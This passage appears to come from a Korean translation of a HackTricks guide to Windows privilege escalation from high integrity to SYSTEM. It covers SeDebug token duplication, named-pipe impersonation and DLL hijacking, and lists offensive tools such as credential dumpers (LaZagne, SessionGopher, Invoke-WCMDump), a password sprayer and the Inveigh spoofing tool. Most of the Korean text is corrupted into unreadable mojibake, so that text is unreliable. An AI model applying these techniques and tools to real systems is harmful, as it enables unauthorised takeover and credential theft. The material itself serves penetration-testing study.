ํด๋น token ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ฉด(๋๊ฐ ์ด๋ฏธ High Integrity ํ๋ก์ธ์ค์์ ๋ฐ๊ฒฌ๋ฉ๋๋ค), SeDebug ๊ถํ์ผ๋ก (protected ํ๋ก์ธ์ค ์ ์ธ) ๊ฑฐ์ ๋ชจ๋ ํ๋ก์ธ์ค๋ฅผ ์ด ์ ์๊ณ , ํ๋ก์ธ์ค์ token์ ๋ณต์ฌํ์ฌ ๊ทธ token์ผ๋ก ์์์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ ๋ณดํต ๋ชจ๋ token ๊ถํ์ ๊ฐ์ง SYSTEM์ผ๋ก ์คํ ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ์ ํํ๋ ๋ฐฉ์์
๋๋ค (๋ค, ๋ชจ๋ token ๊ถํ์ด ์๋ SYSTEM ํ๋ก์ธ์ค๋ ์กด์ฌํฉ๋๋ค).
You can find an example of code executing the proposed technique here.
Named Pipes
์ด ๊ธฐ์ ์ meterpreter๊ฐ getsystem์์ ๊ถํ ์์นํ ๋ ์ฌ์ฉํฉ๋๋ค. ์ด ๊ธฐ๋ฒ์ ํ์ดํ๋ฅผ ์์ฑํ ํ ์๋น์ค๊ฐ ํด๋น ํ์ดํ์ ์ฐ๋๋ก ์์ฑ/์
์ฉํ๋ ๊ฒ์ผ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ SeImpersonate ๊ถํ์ ์ฌ์ฉํ์ฌ ํ์ดํ๋ฅผ ์์ฑํ ์๋ฒ๋ ํ์ดํ ํด๋ผ์ด์ธํธ(์๋น์ค)์ token์ ๊ฐ์ฅ(impersonate) ํ์ฌ SYSTEM ๊ถํ์ ์ป์ ์ ์์ต๋๋ค.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
If you manages to hijack a dll being loaded by a process running as SYSTEM you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far more easy to achieve from a high integrity process as it will have write permissions on the folders used to load dlls.
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
์ฝ๊ธฐ: https://github.com/itm4n/FullPowers
More help
Useful tools
Windows local privilege escalation vectors๋ฅผ ์ฐพ๋ ์ต๊ณ ์ ๋๊ตฌ: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) โ ๊ตฌ์ฑ ์ค๋ฅ ๋ฐ ๋ฏผ๊ฐํ ํ์ผ์ ํ์ธํฉ๋๋ค (check here). ๊ฐ์ง๋จ.
JAWS โ ์ผ๋ถ ๊ฐ๋ฅํ ๊ตฌ์ฑ ์ค๋ฅ๋ฅผ ํ์ธํ๊ณ ์ ๋ณด๋ฅผ ์์งํฉ๋๋ค (check here).
privesc โ ๊ตฌ์ฑ ์ค๋ฅ ํ์ธ
SessionGopher โ PuTTY, WinSCP, SuperPuTTY, FileZilla ๋ฐ RDP ์ ์ฅ ์ธ์
์ ๋ณด๋ฅผ ์ถ์ถํฉ๋๋ค. ๋ก์ปฌ์์๋ -Thorough ์ต์
์ฌ์ฉ.
Invoke-WCMDump โ Credential Manager์์ ์๊ฒฉ ์ฆ๋ช
์ถ์ถ. ๊ฐ์ง๋จ.
DomainPasswordSpray โ ์์งํ ๋น๋ฐ๋ฒํธ๋ฅผ ๋๋ฉ์ธ ์ ์ฒด์ ์คํ๋ ์ดํฉ๋๋ค
Inveigh โ Inveigh๋ PowerShell ADIDNS/LLMNR/mDNS ์คํธํผ ๋ฐ MITM ๋๊ตฌ์
๋๋ค.
WindowsEnum โ ๊ธฐ๋ณธ Windows privesc ์ด๊ฑฐ ๋๊ตฌSherlock ~~~~ โ ์๋ ค์ง privesc ์ทจ์ฝ์ ๊ฒ์ (Watson์ผ๋ก ๋์ฒด๋์ด DEPRECATED)WINspect โ ๋ก์ปฌ ๊ฒ์ฌ (Admin ๊ถํ ํ์)
Exe
Watson โ ์๋ ค์ง privesc ์ทจ์ฝ์ ๊ฒ์ (VisualStudio๋ก ์ปดํ์ผ ํ์) (precompiled)
SeatBelt โ ๊ตฌ์ฑ ์ค๋ฅ๋ฅผ ์ฐพ๊ธฐ ์ํด ํธ์คํธ๋ฅผ ์ด๊ฑฐํฉ๋๋ค (์ ๋ณด ์์ง ๋๊ตฌ์ ๋ ๊ฐ๊น๊ณ ์ปดํ์ผ ํ์) (precompiled)
LaZagne โ ์ฌ๋ฌ ์ํํธ์จ์ด์์ ์๊ฒฉ ์ฆ๋ช
์ถ์ถ (GitHub์ precompiled exe ์์)
SharpUP โ PowerUp์ C# ํฌํธBeroot ~~~~ โ ๊ตฌ์ฑ ์ค๋ฅ ๊ฒ์ฌ (GitHub์ ์คํ ํ์ผ์ด ์์). ๊ถ์ฅํ์ง ์์. Win10์์ ์ ๋์ํ์ง ์์ต๋๋ค.Windows-Privesc-Check โ ๊ฐ๋ฅํ ๊ตฌ์ฑ ์ค๋ฅ ๊ฒ์ฌ (python ๊ธฐ๋ฐ exe). ๊ถ์ฅํ์ง ์์. Win10์์ ์ ๋์ํ์ง ์์ต๋๋ค.
Bat
winPEASbat โ ์ด ๊ฒ์๋ฌผ์ ๊ธฐ๋ฐ์ผ๋ก ๋ง๋ ๋๊ตฌ(์ ์ ์๋์ ์ํด accesschk๊ฐ ํ์ํ์ง ์์ง๋ง ์ฌ์ฉํ ์ ์์).
Local
Windows-Exploit-Suggester โ systeminfo ์ถ๋ ฅ ์ฝ๊ณ ์๋ํ๋ ์ต์คํ๋ก์ ์ถ์ฒ (๋ก์ปฌ python)
Windows Exploit Suggester Next Generation โ systeminfo ์ถ๋ ฅ ์ฝ๊ณ ์๋ํ๋ ์ต์คํ๋ก์ ์ถ์ฒ (๋ก์ปฌ python)
Meterpreter
multi/recon/local_exploit_suggestor
ํ๋ก์ ํธ๋ฅผ ์ฌ๋ฐ๋ฅธ ๋ฒ์ ์ .NET์ผ๋ก ์ปดํ์ผํด์ผ ํฉ๋๋ค (see this). ํผํด์ ํธ์คํธ์ ์ค์น๋ .NET ๋ฒ์ ์ ํ์ธํ๋ ค๋ฉด ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
์ฐธ๊ณ ์๋ฃ
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF โ VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research โ Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
-
Unit 42 โ Privileged File System Vulnerability Present in a SCADA System
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


